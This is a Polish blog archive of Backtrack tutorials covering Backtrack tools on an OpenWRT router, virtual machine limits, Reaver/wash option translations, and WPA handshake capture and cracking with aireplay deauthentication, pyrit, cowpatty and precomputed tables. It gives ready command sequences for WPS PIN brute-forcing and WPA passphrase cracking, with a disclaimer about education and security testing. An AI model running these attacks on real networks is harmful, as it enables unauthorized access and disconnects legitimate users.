Archiwa kategorii: Linux

Bracktrack na routerze!

Wiele narzędzi w systemie Backtrack wymaga długotrwałego działania, np. reaver który potrzebuje aż 8h na odszukanie hasła, a jak wiemy prąd nie jest za darmo! Przeciętny laptop potrzebuje do 90W energii, średniej klasy PC nawet 300W, a silna maszyna z dobrą grafiką nawet 750W, nie mówiąc już o monstrach z Quad CrossFire które wymagają do 1500W! Dlatego pomyślałem że czas zaciągnąć do pracy coś oszczędniejszego… np. router!

Zaletą takiego rozwiązania jest:

  • ogromna oszczędność energii, ponieważ wysokiej klasy router pobierają max. 24-30W energii a normalne domowe zaledwie 6-10W! To około 10 razy mniej niż zwykły PC.
  • rozmiary – router jest mały, daje się wieszać i nie wymaga wentylacji.
  • możliwości układu radiowego – układy radiowe w routerze to sprzęt dobrej klasy w porównaniu z kartami wifi na USB, niektóre modele posiadają radio z mocą 1W i duże zdolności wstrzykiwania.
  • możliwość podłączenia innych interfejsów radiowych na USB
  • możliwość podłączenia dowolnego sprzętu na USB
  • możliwość zdalnej pracy – router możemy podłączyć do sieci np. w pracy a sterować nim z domu, można też użyć łącza 3G do sterowania.
  • duża wydajność CPU oraz sprzętowe przyspieszenie szyfrowania i deszyfrowania AES!!!

Jakiego oprogramowania możemy się spodziewać:
  • pakietu aircrack-ng (pełny z wszystkimi możliwościami wstrzykiwania)
  • reaver oraz wash
  • pakietu mdk3
  • sslstrip
  • macchanger
  • nmap
  • iptables
  • skryptów dla python-a jak: wifite czy pyrit
  • dowolnych narzędzi sieciowych jak: wireless-tools (iwconfig, iw), iftop, wavemon, ifconfig, ping , tr, route, ip, arp, tcpdump  itd.
Ale to nie wszystko, ponieważ projekt OpenWRT dla wszystkich architektur szczyci się mnogością dodatkowych pakietów których list jest tu: http://backfire.openwrt.org/10.03.1/ar71xx/packages/
Jedyne czego aktualnie brakuje to narzędzie graficzne, ponieważ routery rzadko posiadają ekran. Wyjątkiem od tego jest OpenWRT dla x86 na którym bez problemu możemy sobie skompilować Xorg! Niestety jak każdy wiec x86 to architektura zwykłego PC!

Wymagania:

  • główne wymaganie to router kompatybilny z OpenWRT. Aby dowiedzieć się czy nasz router może działać na OpenWRT, należy wpisać w google np.: OpenWRT WR1043ND i przeczytać.
  • router musi posiadać przynajmniej jeden port USB lub przy najmniej 16MB flash-u!
  • musimy posiadać pendrive, kartę SD lub dysk twardy na USB (pojemność 1GB lub większa)
  • hub usb, najlepiej z zewnętrznym zasilaniem (jeżeli chcemy używać dysku HDD lub więcej niż dwóch urządzeń na USB)
  • (opcja) terminal szeregowy – jak by coś poszło nie tak

Instalacja – niektóre modele routerów, są dosyć przyjazne, pozwalają na zmianę oprogoamowania z poziomu oryginalnego oprogramowania producenta. np. WR740N WR1043ND WR2543ND MR3420 DIR-615 DIR-635 itd. ale są też takie jak DIR-300 które wymagają użycia termianla szeregowego.

Ja opiszę tylko wersję prostą, czyli bez terminala, zrobię to na przykładzie TP-Link-a MR-3220.

  1. Odpalamy router na ustawianiach fabrycznych.
  2. Wchodzimy na stronę: http://backfire.openwrt.org/ lub http://ecco.selfip.net/backfire/ar71xx/ (Backfire wersja rozszerzona PL)
  3. wybieramy wersję, w momencie gdy to piszę, aktualna to: 10.03.1
  4. wybieramy architekturę np. ar71xx lub brcm63xx w zależności od tego jaki router posiadamy. Można to sprawdzić na: http://wiki.openwrt.org/toh/start
  5. Pobieramy plik który w nazwie ma „factory” oznacza to że jest on tak przygotowany aby soft fabryczny go przyjął. Dla mojego MR-3220 jest to: http://ecco.selfip.net/backfire/ar71xx/openwrt-ar71xx-tl-mr3220-v1-squashfs-factory.bin
  6. Wchodzimy na WebGUI router-a i w miejsce upgrade firmware wrzucamy mu pobrany plik.
  7. Proces może trwać 5-6 minut, nie można go przerwać a odłączenie zasilania może spowodować uszkodzenie routera. Dokładnie tak samo jak przy normalny upgradzie firmware-u producenta.
  8. Gdy router SAM się ponownie odpali, musimy podłączyć się do niego KABLOWO!
  9. dhcp przydzieli nam adres z pod sieci 192.168.1.X
  10. za pomocą tlenetu na 192.168.1.1 i wpisujemy passwd root podajemy nowe hasło root.
  11. od tej pory logujemy się już tylko na ssh! (programem PUTTY)
  12. Aby móc instalować masę oprogramowania, musimy przerzucić cały system plików na pendrive, dlatego do portu USB podpinamy pendrive.
  13. Wykonujemy instrukcję extroot: http://eko.one.pl/?p=openwrt-externalroot (dokładny polski opis! złe wykonanie instrukcji nie powinno uszkodzić routera)
  14. Gdy nas router, bootuje już z USB możemy rozpocząć zabawę!

Instalowania oprogramowania:

Tak jak w BT/ubuntu mamy apt-get tak w OpenWRT jest opkg, które działa podobnie.

  • opkg update – aktualizuje bazę pakietów
  • opkg install tcpdump – instaluje program np. tcpdump
  • opkg remove tcpdump – usuwa tcpdump
  • opkg search *tcp* – szuka pakietów mających w nazwie tcp
  • opkg list | grep tcp – alternatywa search, ponieważ search nie zawsze działa jak by się tego oczekiwało

Miejsce na nośniku USB: 

OpenWRT to bardzo oszczędny i niesamowicie szybki system, setki programów na moim sprzęcie zajmują ledwo 300Mb, kilka odpalonych programów ma problemy z zajęciem 32Mb RAM-u w MR-3220. Dodatkowo system jest niesamowicie szybki!

 

Dane na i z routera:

Nośnik USB na którym mamy extroot, po wyłączeniu możemy odłączyć i podpiąć pod BT na który bez problemu odczyta jego zawartość do dalszej analizy. Możemy trze odpalić vsftpd i pobierać dane przez ftp! OpenWRT oferuje też serwer Samba, dzięki czemu Windows jest w stanie, przez sieć, zobaczyć zawartość routera.

 Karta SD (SD mod):

Routery które nie posiadają złącza USB, czasem mają GPIO przez które można podlutować slot na kartę SD lub bezpośrednio przylutować im kartę SD. Jest to jedyne wyjście na poszerzenie ich funkcjonalności  ponieważ zazwyczaj są to okrojone modele z małą ilością flash-u i bez USB.

Interfejs Wifi:

OpenWRT domyślnie wyłącza wifi, aby je odpalić i przygotować do testów najlepiej ustawić je w trybie monitor. Robimy to za pomocą pliku konfiguracyjnego:

/etc/config/wireless

w którym KASUJEMY linię:

option disable „1”

a w miejsce

mode „ap” wpisujemy mode „monitor” lub mode „sta”

monitor – tryb nasłuch

sta – tryb managed ( zwykły)

 

Podtrzymanie sesji:

Aby sesja nie umierała po wylogowaniu z router-a możemy zainstalować sobie program screen!

opkg install screen

Pozwala on nam pozostawić pracującego reaver-a lub dowolny inny program na noc!

 

Inne zastosowanie router-a z OpenWRT:

  • router z dwoma radiami, jedno wbudowane drugie na USB
  • odtwarzacz, radio przez wifi
  • budzik
  • monitoring z kamerą wifi lub USB
  • informacja o pogodzie
  • informacja o stanie sieci
  • zegarek z ekranem LCD
  • terminal po podłączeniu LCD i klawiatury
  • bezprzewodowy miernik temperatury
  • czujka alarmowa
  • NAS
  • pobieraczka torrent-ów (Transmission)
  • pobieraczka dowolnych plików
  • podtrzymanie sesji Gadu-gadu
  • podtrzymanie sesji IRC
  • proxy
  • serwer http, ftp, mail, samba, shell itd.
  • straszak na złodzieja, przez odpalani muzyki, rozmów lub oświetlenia (switch RBJ 220V)
Strony zawierające informacje związane z OpenWRT:

 

 

Backtrack na maszynie wirtualnej, problemy- VMWare, VirutalBox, qemu, kvm

Pytania odnośnie maszyn wirtualnych zaczynają mnie lekko irytować, każdy by chciał aby chodziły tak jak komputer matka, a tu po prostu się nie da!

Zacznijmy jednak od początku. Co to jest maszyna wirtualna? To program który udaje przez programem, systemem gościa, że pracuje na prawdziwej maszynie i ma dostęp do jego zasobów. Sprzęt widoczny dla gościa to symulowana karta graficzna, dźwiękowa a nawet dysk czy pamięć. Idea maszyny jest taka, że nie powinna ona uniemożliwić systemowi gościa dostanie się do zasobów maszyny matki, chyba że administrator maszyny tak sobie rzeczy, wtedy możliwe jest eksportowanie niektórych sprzętów do gościa. Na chwilę obecną są to jednak, tylko sprzęty na USB i czasem dyski.

Jakie funkcje nie będą działać w Backtrack na maszynie wirtualnej?

  • Karty WiFi – wirtualny system nie zobaczy kart wifi, zintegrowanych, PCI, PCIe, miniPCI, miniPCIe, PCIMCA, ExpressCard – jest to spowodowane tym że programy do wizualizacji systemu, nie potrafią ich eksportować. (Mam na myśli WSZYSTKIE SPRZĘTY NA W/W ZŁĄCZA!) * z wyjątkiem vSphere
  • Karty WiFi na USB – niektóre karty da się wyeksportować inne nie. Dobrze eksportują się karty na układzie RTL8187L. Błędnie eksportują się karty na układzie AR9271. Nawet te które dobrze się eksportują mogą powodować masę problemów na maszynie wirtualnej których normalnie nie tworzą. Mogą nawet powodować totalne zawieszanie się systemu.
  • Karta graficzna (AMD Stream, CUDA) – nie ma możliwości eksportowania fizycznej karty graficznej do maszyny wirtualnej, ponieważ jest ona używana cały czas przez maszynę matkę. Dlatego pyrit na GPU nie będzie pracować.
  • Karta sieciowa kablowa – karta w maszynie wirtualnej zawsze jest wirtualna, dodatkowo, wirtualna sieć którą tworzy maszyna matka nie rzadko izoluje ją od gościa. Tak że podsłuchanie na gościu tego co robi matka staje się totalnie niemożliwe.
  • Dysk twardy – teoretycznie można eksportować dysk do maszyny gościa, niestety ja nie zalecam, ponieważ łatwo o pomyłkę. Taka pomyłka może nasz np. kosztować nadpisanie MBR na matce przez gościa przy eksportowaniu całego fizycznego dysku do gościa. Przy instalacji Fedory na dysku matki wewnątrz maszyny wirtualnej kończyło się uszkodzeniem systemu plików matki przy próbie re-partycjonowania
  • Procesor – zawsze jest wirtualne, możliwe jest nawet symulowanie procesora wielo rdzeniowego na maszynie która ma tylko jeden.
  • Pamięć – ilość pamięci maszyny wirtualnej w maszynie musi być zawsze mniejsza niż pamięć matki, tak aby mogła cały czas działać.

Jak użyć wszystkich możliwości Backtrack PREMIUM ?

Zainstalować go na prawdziwej maszynie, posiadającej:

  • przyzwoity procesor posiadający instrukcje SSE2 oraz przynajmniej dwa rdzenie
  • przynajmniej 1GB pamięci operacyjnej, mile widziane 2GB DDR2
  • dobra kartę, graficzną wspierającą AMD Stream lub CUDA, czyli np. AMD Radeon HD5670 lub GeForce GT260 i inne nowsze
  • dysk twardy na słowniki, tablice które potrafią zajmować miejsce

Co zrobić jeżeli cały dysk zajmuje Windows? – Istnieje wiele programów do modyfikacji partycji na żywym systemie, są też LiveCD które potrafią to robić nawet z partycją systemową Windows. Ja polecam jednak nie ruszać partycji systemowej a partycje dla Backtrack-a utworzyć na końcu dysku lekko zmniejszając partycje Windows-a/NTFS. Do tego celu polecam system LParted.

Jaką wersję BT pobrać jeżeli nie mam innej możliwości niż maszyna wirtualna ? – Każdą wersję poza wersjami dedykowanymi dla AMD lub nVidia, ponieważ zawierają one sterowniki dla prawdziwej karty graficznej a nie wirtualnej.

Kali Linux na maszynie wirtualnej? – Kali nie różni się w tej kwestii od Backtrack, tak samo powinien działać poprawie. Zalecam tylko używanie sterownika ekranu o nazwie „vmware” nawet dla qemu czy VirtualBox.

Jakie są znane problemy z maszynami wirutalnymi ? – Wiele kart wifi nie działa poprawnie, np. każda karta na układzie firmy Atheros/Qualcomm: AR9271, AR9170, AR9487WB+AR3XXX, AR9285WB+AR3XXX (WB = with bluetooth) RaLink RT3870, Realtek RTL8192. Istnieją też problemy z znacznym spadkiem wydajności CPU, nawet gdy posiadamy wsparcie dla zagnieżdżania stosu. Wydajność wirtualnego dysku także zmniejsza się w stosunku do fizycznego nośnika, wyjątkiem jest tylko qemu-kvm w trybie direct które udostępnia prawdziwy dysk.

Słyszałem że vSphere eksportuje wszystkie karty, czy to prawda? – Tak jest to możliwe, vSphere może nawet użyczać karty graficznej do użytku dla oclHashcat, jednak vSphere jest bardziej zaawansowane niż VMWare, VirutalBox i qemu razem wzięte. Więcej informacji o vSphere można odszukać tutaj. Jednak należy pamiętać że jest to oprogramowanie przeznaczone dla ekspertów a nie dla początkujących. Instalacja i konfiguracja jest znacznie trudniejsza niż innych maszyn wirtualnych. Jeżeli jesteś amatorem, łatwiej ci będzie zaprzyjaźnić się z innymi maszynami wirtualnymi oraz Kali Linux z LiveDVD niż vSphere.

Instrukcja obsługi programu REAVER.

 

Opis

Reaver jest programem wykorzystującym metode  brute force do łamania  WPS (Wifi Protected Setup) , w celu „wyjęcia” hasła z punktu dostępowego, zabezpieczającego   transmisje  danych na drodze AP-klient.  Średni czas złamania 8-cyfrowego kodu PIN, oraz uzyskania hasła zawiera się w granicach od 4 do 10 godzin. Do reaver-a dołaczony jest program o nazwie „wash”, dzieki któremu mamy możliwość  sprawdzenia, które AP są podatne na atak WPS.

Opcje programu „Wash v1.4” 

Wymagane argumenty:

-i, –interface=<iface> Interfejs odpowiedzialny za przechwytywanie danych

-f, –file [FILE1 FILE2 FILE3 …] Czytaj pakiety z plików

Opcjonalne argumenty:

-c, –channel=<num> Kanał nasłuchu [auto]

-o, –out-file=<file> Zapisz dane do pliku

-n, –probes=<num> Maksymalna liczba prób do wysłania do każdego AP w trybie skanowania [15]
-D, –daemonize Demonizuj wash

-C, –ignore-fcs Ignoruj błędy sumy kontrolnej ramek

-5, –5ghz Używaj kanałów częstotliwości 5GHz 802.11

-s, –scan Używaj trybu skan

-u, –survey Używaj trybu przeglądania  [domyślnie]

-h, –help Pokaz pomoc

Przykład zastosowania :

wash -i wlan18

Opcje programu „Reaver v1.4”

Wymagane argumenty:

-i, –interface=<wlan> Nazwa interfejsu w trybie nasłuchu

-b, –bssid=<mac> BSSID docelowego AP

Opcjonalne argumenty:

-m, –mac=<mac> MAC hosta

-e, –essid=<ssid> ESSID docelowego AP

-c, –channel=<channel> Ustaw 802.11 kanał dla interfejsu

-o, –out-file=<file> Wyślij log do pliku

-s, –session=<file> przywróć poprzednią sesje z pliku

-C, –exec=<command> Wykonaj podaną komendę z chwilą uzyskania PIN-u

-D, –daemonize „Demonizuj” reaver

-a, –auto Autodetekcja najlepszych opcji/ustawień dla docelowego AP

-f, –fixed Wyłącz „skakanie” po kanałach

-5, –5ghz Używaj kanałów częstotliwości 5GHz 802.11

-v, –verbose Wyświetlaj ostrzeżenia (-vv dla większej ilości)

-q, –quiet Tylko krytyczne wiadomości

-h, –help Pokaż pomoc

Opcje zaawansowane:

-p, –pin=<wps pin> Użyj 4 lub 8 liczbowego PIN-u WPS

-d, –delay=<seconds> Ustaw opóźnienie pomiędzy próbami

-l, –lock-delay=<seconds> Ustaw czas oczekiwania jeśli AP blokuje próby odgadnięcia PIN-u [60]

-g, –max-attempts=<num> Wyjdź po określonej ilości prób PIN

-x, –fail-wait=<seconds> Ustaw czas, po którym następuje  uśpienie, po 10 nieoczekiwanych niepowodzeniach

-r, –recurring-delay=<x:y> Spij przez y sekund każdej x próby PIN

-t, –timeout=<seconds> Ustaw czas do zakończenia

-T, –m57-timeout=<seconds> Ustaw czas zakończenia okresu M5/M7 [0.20]

-A, –no-associate Nie asocjuj z AP (asocjacja musi być wykonana przez inna aplikacje)

-N, –no-nacks Nie wysyłaj NACK jeżeli otrzymałeś pakiet „out-of-order” nie działa

-S, –dh-small Używaj małych kluczy DH w celu poprawy prędkości ataku

-L, –ignore-locks Ignoruj stan zablokowania zgłaszany przez docelowy AP

-E, –eap-terminate Zamykaj każdą sesję WPS po otrzymaniu nieprawidłowego pakietu EAP

-n, –nack Docelowy AP zawsze wysyła NACK [Auto]

-w, –win7 Mimic a Windows 7 registrar [False]

Przykład zastosowania:
reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -v

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -vv -L -a

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -p 82487317

reaver -i wlan18 -b 00:12:2A:6F:5D:D8 -c11 -p 82487317 -vv

Łamanie kodu PIN odbywa się dwuetapowo. W pierwszym etapie sprawdzane są wszystkie kombinacje pierwszych 4 cyfr. Po odgadnięciu pierwszej części  pinu sprawdzana jest jego druga część, lecz są to tylko numery pasujące do sumy kontrolnej. Czas odgadnięcia drugiej części PIN jest zazwyczaj znacznie krótszy niż pierwszej.

Kompatybilność sterowników/kart Wi-fi z programem „Reaver v1.4”

Poprawnie działające sterowniki.

Poniższe sterowniki zostały przetestowane, oraz zgłoszone jako poprawnie działające z programem reaver:

  • ath9k
  • rtl8187
  • carl19170
  • ipw2000
  • rt2800pci
  • rt73usb

Częściowo działające sterowniki.

Poniższe sterowniki mogą nie działać prawidłowo z programem reaver, w zależności od  zastosowanej karty wi-fi:

  • ath5k
  • iwlan
  • rtl2800usb
  • b43

Nie działające sterowniki.

Poniższe sterowniki/karty zostały przetestowane, oraz zgłoszone jako niepoprawnie działające z programem reaver:

  • iwl4965
  • RT3070L
  • Netgear WG111v3

Uwagi

  • Aby „reaver” działał poprawnie wymaga sygnału nie słabszego niż ok. -84 dbm.
  • Poprawna praca „reaver-a” wymaga ustawienia karty w trybie nasłuchu (monitor mode)
  •  W praktyce występują AP, z których po odgadnięciu kodu PIN nie ma możliwości „wyjęcia” poprawnego hasła dostępu do sieci. Wykorzystując ten sam PIN reaver „wyjmuje” różne hasła będące długimi ciągami alfanumerycznymi.
  • Należy zwrócić uwagę, że oprogramowanie niektórych AP posiada limit ilości prób możliwych do wykonania w określonym czasie. Po przekroczeniu danego limitu następuje blokada WPS uniemożliwiając nam dalszą kontynuacje ataku.

 

 

 

Teczowe testowanie hasła WPA2/AES – „Tęczowe Tablice” – cowpatty, pyrit, genpmk

Kilka osób prosiło mnie już o krótki opis użycia i generowania tęczowych tablic. Ponieważ dziś spędziłem nad nimi kilka h, krótko to opiszę.

Na początek wymagania dla osób które chcą używać tęczowych tablic:

  1. Dowolny słownik w postaci .txt lub .lst
  2. Backtrack 5

Wymagania dla osób które chcą generować tęczowe tablice:

  1. dowolny słownik
  2. Backtrack.pl 5 R3 PREMIUM (najlepiej AMD lub CUDA)
  3. Karta graficzna z CUDA lub AMD Stream (jeżeli mamy dużo cierpliwości to nie jest konieczne)

Co to są „Tęczowe Tablice” (ang. Rainbow Tables) – jest to baza, w tym wypadku hash-y, służąca do łamania hasła. Tablice pozwalają zaoszczędzić dużą ilość mocy obliczeniowej przy sprawdzaniu hand-shake-ów sieci o tych samych ESSID-ach. Przeciętny procesor powinien być w stanie sprawdzić około 100tyś. pmk/s dobre nowoczesne maszyny nawet do 1-2mln. pmk/s. trzeba jednak pamiętać że nie ma sensu tworzyć tablic dla bardzo unikalnych ESSID-ów które mogą się nigdy nie powtórzyć.

Zaczynamy od złapania 4-way hand shake:

airmon-ng start wlan0

airodump-ng -w linksys --bssid 00:21:91:2C:E4:FB -c 11 mon0

Oczywiście podany BSSID to nasz AP którego ESSID to linksys, mon0 to karta w trybie monitor mode. Odpali nam się airodump i zacznie nasłuchiwać, możemy to tak zostawić, poczekać aż jakiś klient się podłączy co w 90% daje nam pewny hs lub jeżeli są kliencie próbować go rozłączyć za pomocą komendy:

aireplay-ng -0 1 -c 00:22:43:07:6D:63 -a 00:21:91:2C:E4:FB mon0

Gdzie 00:22:43:07:6D:63 to nasz klient. Nie należy przesadzać z ilością deauth-ów ponieważ może to spowodować że system zaniecha próby ponownego łączenia np. po 3 nieudanych próbach. Dzieje się tak często gdy system klient-a to Windows XP/Vista/7. Efektem komendy powinien być mały komunikat u góry okna:

CH 11 ][ Elapsed: 56 s ][ 2012-09-26 18:14 ][ WPA handshake: 00:21:91:2C:E4:FB

Po wyjściu z airodump CTRL+C w katalogu stworzy się plik z nazwą linksys i końcówką .cap, w tym pliku jest zapisany hand-shake i musimy go zatrzymać do późniejszej analizy. Aby złapać hs, musimy być w zasięgu AP oraz KLIENTA tej sieci, musimy zablokować nasłuch na kanale AP. Nie można używać anten mocno kierunkowych, jak grid czy parabola. Najlepiej na niedużych odległościach sprawdzają się anteny panelowe o średnim zysku i szerokim kącie pół-mocy. Ewentualnie możemy zastosować anteny omni o dużym kącie pół-mocy, zazwyczaj są to anteny o zysku do 6dBi. Przeciętna antena 9dBi ma kont pół-mocy na poziomie 10 stopi co jest stanowczo za mało. Gdy testujemy poziom zabezpieczeń w budynkach z wieloma piętrami, powinno się używać anten omni o większym zysku, czyli np. 9dBi ale wymusza to na nas poruszanie się miedzy kondygnacjami.

Jeżeli nie chcemy tworzyć tęczowych tablic już w tym momencie możemy przystąpić do „zgadywania” hasła za pomocą aircrack, pyrit-a lub cowpatty.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

sam pyrit:

pyrit -e linksys -i mega.txt -r linksys-01.cap attack_passthrough

samo cowpatty:

cowpatty -r  linksys-01.cap -f mega.txt -s linksys

lub

aircrack-ng -w mega.txt -e linksys linksys-01.cap

Najlepsze rozwiązanie to pyrit + cowpatty, ewentualnie sam pyrit, głównie ze względu na szybkość i użycie GPU.

Alternatywną metodą łamania powtarzających się ESSID-ów są tęczowe tablice, które jak wcześniej pisałem oszczędzają nam masę czasu i powalają NIE POSIADAĆ szybkiego GPU, ponieważ wilcza część pracy została już „odwalona” przy ich tworzeniu.

Tworzenie „Tęczowych tablic” – metod na ich tworzenie jest naprawdę masa, same tablice z hash-ami mogą występować w kilku różnych formatach np. format cowpatty lub airolib. Mogą też być magazynowane w bazie pyrit-a która znowu także może mieć format plikowy, baza w pliku sqlite lub mieścić się w prawdziwej bazie jak MySQL lub PostgeSQL. Na nasze potrzeby wystarczy baza plikowa w formacie pyrit-a, która na dodatek jest wybierana domyślnie i mieści się w katalogu .pyrit.

Metoda genpmk – metoda bardzo wolna, ponieważ nie używa wielu rdzeni ani GPU.

genpmk -f mega.txt -d linksys.cow -s linksys

mega.txt to słownik, jak wcześniej linksys.cow to tęczowa tablica, TYLKO i wyłącznie dla ESSID-a „linksys”

Metoda na pyrit-a – dużo szybsza używa tylko i wyłącznie bazy pyrit-a. Na początek importujemy słownik do bazy pyrit-a:

pyrit -i mega.txt import_passwords

Tworzymy SSID dla które ma zostać stworzona baza hash-ów:

pyrit -e linksys create_esssid

Generujemy hash-e dla wszystkich dodanych ESSID-ów:

pyrit batch

Od tego w bazie pyrit-a są gotowe hash-e dla ESSID-a linksys, których bez dodatkowych operacji możemy używać przez:

pyrit -e linksys -r linksys-01.cap attack_db

Jak widać nie musimy dopisywać -i mega.txt ponieważ słownik jest w bazie! Trzeba dodać że jest to jedna z najszybszych metod.

Metoda pyrit + cowpatty – metoda wymaga wykonania wszystkich poleceń jak przy metodzie pyrit-a z bazą danych, czyli:

pyrit -i mega.txt import_passwords

pyrit -e linksys create_esssid

pyrit batch

Następnie możemy przystąpić do generowanie tablic w formacie cowpatty, ale tym razem dużo szybciej niż za pomocą genpmk ponieważ pyrit używa GPU oraz każdego dostępnego rdzenia CPU.

pyrit -e linksys -o linksys.cow export_cowpatty

Tak jak poprzednio powstanie linksys.cow czyli Tęczowa tablica dla ESSID-a linksys. Możemy generować i podawać wiele ESSID-ów jednocześnie, dzięki temu będziemy mieli tablice dla każdego podanego ESSID-a.

Tak przygotowane tablice możemy bez problemy używać w cowpatty:

cowpatty -d linksys.cow -r linksys-01.cap -s linksys

tak samo w pyrit:

pyrit -i linksys.cow -e linksys -r linksys-01.cap attack_cowpatty

Trzeba też dodać że pyrit jest dużo bardziej rozbudowany i przyjmuje spakowane tablice za pomocą GunZip-a który znacznie redukuje ich rozmiar. Aby spakować tablice, należy wykonać:

gzip -9v linksys.cow

Powstanie nam plik linksys.cow.gz który bez problemu podamy zraz za -i . Cowpatty nie obsługuje kompresowanych tablice .gz.

Jeżeli mamy takie widzimisię możemy używać pyrit-a z cowpatty a wtedy już mamy absolutną dowolność formatów tablic, słowników, baz.

Najlepsze wyjście – mimo mnogości możliwości najlepsza metoda sprawdzania, powtarzających się ESSID-ów to moetoda z użyciem bazy danych pyrit-a, ewentualnie razem z cowpatty.

 

Pyrit – to bardzo dobry program, niestety jego wczesna faza rozwoju powoduje że lubi się wywalić, czasem dobra składnia raz powoduje poprawne działanie raz go wywraca, ja sprawdziłem to przynajmniej na kilku maszynach o różnych architekturach. Wersja PREMIUM zawiera możliwie najnowszą wersję pyrit-a pobraną z svn.

Tłumaczenie parametrów pyrit-a:

-b BSSID Access Point-a

-e ESSID Access Point-a czyli nazwa sieci np. linksys

-i plik wejścia, może to być np. słownik lub tęczowa tablica, obsługiwane są słowniki .gz (po kompresji GunZip-em)

-o plik wyjścia, np. do tworzenia tęczowych tablic, dodanie na końcu .gz powoduje że tablica zostanie skompresowana w locie.

-r plik .cap (pcap format) np. z airodump-a lub wireshark można też podać urządzenie jak wlan0

-u adres URL miejsca/sposobu przechowywania danych, może to być np. plik file:///baza, baza danych sqlite:///baza.db serwer tworzony przez pyrit-a relay http://192.168.1.12

–all-handshakes powoduje sprawdzanie handshaków w pliku .cap

Komendy:

  • analyze – analizuje plik .cap w poszukiwaniu hs

pyrit -r linksys.cap analyze

  • attack_batch – sprawdza wszystkie hs, zawarte w pliku .cap

pyrit -r test.pcap -e MojaSiec -b 00:de:ad:c0:de:00 -o HasloMojejSieci.txt attack_batch

  • attack_cowpatty – sprawdzanie hasła przy użyciu tablic cowpatty

pyrit -r mojasiec.cap -e MojaSiec -i rainbow.cow.gz -o - attack_cowpatty

  • attack_db – sprawdza hasła za pomocą tablic z bazy pyrit-a

pyrit -r mojasiec.cap -e mojasiec attack_db

  • attack_passthrough – sprawdza hasło przy pomocy słownika podanego za pomocą -i

pyrit -r mojasiec.cap -e mojasiec -i slownik.txt attack_passthrough

  • batch – generuje tzw. pay kluczy głównych na podstawie słownika wcześniej zaimportowanego i zapisuje jej z bazie pyrit-a

pyrit batch

pyrit -e mojasiec batch

  • benchmark – testuje wydajność pyrit-a
  • check_db – sprawdza poprawność bazy danych pyrit-a
  • create_essid – dodaje do bazy nowy ESSID który po użyciu komendy batch zostanie przetworzony, opcja przyjmuje wiele ESSID-ów na raz.
  • delete_essid – kasuje ESSID z bazy
  • pyrit -e mojasiec delete_essid
  • eval – pokazuje dodaje ESSID-y oraz ilość przygotowanych dla nich par kluczy gł.
  • export_passwords – eksportuje słownik dodany wcześniej do pliku, można podać .gz

pyrit -o slowni.txt export_passwords

  • export_cowpaty – eksportuje wszystkie pary kluczy gł. do pliku w formacie cowpatty

pyrit -e mojasiec -o mojasiec.cow export_cowpatty

  • export_hashdb – export do pliku/bazy w formacie airolib-ng

pyrit -o mojasiec.db -e mojasiec export_hashdb

  • import_passwords – importuje hasła z słownika do bazy pyrit-a

pyrit -i wordlist.txt import_passwords

  • import_unique_password – składnia sugeruje że hasła powinny być importowane bez dubli, ale według man, tak się nie dzieje. (nie polecam używać)
  • list_cores – pokazuje listę rdzeni procesora i sprzętowych przyspieszaczy jak np. GPU
  • list_essids – pokazuje listę ESSID-ów
  • passthrough – polecenie sprawdza hasła zawarte w słowniku, generuje pary kluczy gł. i wysyła je go -o , polecenie można połączyć z cowpatty przez stdio tak aby cowpatty analizowało generowane klucze w locie. Polecenie nie zapisuje kluczy w bazie pyrit-a.

pyrit -e linksys -i mega.txt -o - passthrough | cowpatty -d - -r linksys-01.cap -s linksys

  • relay – bardzo ciekawa komenda, pozwala przetwarzać hasła na klucze przez sieć, jest to bardzo przydatne gdy nie posiadamy w danej maszynie silnego GPU

Serwer, tam gdzie nie mamy silnego GPU:

pyrit -u sqlite:///root/baza.db relay

Klient, tu posiadamy silny GPU:

pyrit -u http://192.168.1.2:17934 batch

  •  selftest – sprawdza działanie mechanizmu przetwarzania pyrita
  • serve – kolejna, rewelacyjna opcja pyrita, serwer mocy obliczeniowej. Powoduje że na porcie 17934 otwiera się furtka do mocy obliczeniowej maszyny, tak że kliencie mogą się łączyć i przetwarzać za jej pomocą.

Serwer mus mieć wpis w .pyrit/config known_clients a następnie odpalone:

pyrit serve

Klient, musi mieć wpis w .pyrit/config rpc_server i odpalić lokalnie dowolną komendę:

pyrit -r mojasiec.cap.gz -e mojasiec -i slownik.txt attack_passthrouth

  • strip, stripLive – służą do wyjmowania z plików .cap samego handshake

pyrit -r "duzyplik.cap" -e MyNetwork -o tylko_hs_mojejsieci.cap.gz strip

  • verify – sprawdza 10% wygenerowanych wcześniej kluczy przez ich ponowne generowanie

Wydajność testowania hasła na tęczowych tablicach:

  • AMD Phenom II 4×3.6GHz (użyty 1 rdzeń) cowpatty ~280,000 pmk/s
  • AMD Phenom II 4×3.6GHz (użyte 4 rdzenie) pyrit ~1mln. pmk/s
  • AMD GPU 7870 GDDR5 pyrit ~5mln. pmk/s (wszystkie pliki na ramdisk-u)
  • Intel i3 2x2Ghz (użyty 1 rdzeń) cowpatty ~120,000 pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz, 1 rdzeń) cowpatty ~300,000pmk/s
  • Intel i7 4×3.6GHz (cały czas w trybie turbo 3.8GHz) pyrit ~1.1mln. pmk/s
  • Intel i5 + AMD GPU 5470M ~600,000 pmk/s
  • AMD A4 (2Ghz +5470M) + 7670M ~1.4mln. pmk/s
  • Intel CPU P4 Mobile cowpatty ~80,000 pmk/s

Materiały:
http://code.google.com/p/pyrit/w/list

http://wirelessdefence.org/Contents/coWPAttyMain.htm

Adnotacja: Wszystkie informacje mają służyć celą edukacyjnym oraz testowaniu bezpieczeństwa infrastruktury sieci firmowych. Nie namawiam do łamania prawa! Prawo łamią ludzie, nie programy.

Update: dla osób które nie posiadają szybkiego GPU lub nie mają cierpliwości czekać na ich generowanie postanowiłem wrzucić kilka gotowych tablic dla popularnych ESSID-ów. Wszystkie tęczowe tablice zrobione na bazie naszego polskiego słownika są dostępne tutaj.

Reaver 1.3 dla BackTrack 5 R2 Pre (WPA1/2 złamane przez WPS)

Kolejna edycja mojej wersji BT5 będzie już domyślnie zawierać ten program, na chwilę obecną udostępniam jednak program gotowy do pobrania i odpalenia na BackTrack-u który go nie posiada.

Wszystko do pobrania tutaj, pliki są bardzo malutkie, jedyne co trzeba zrobić to pobrać, opcjonalnie rozpakować i odpalić.

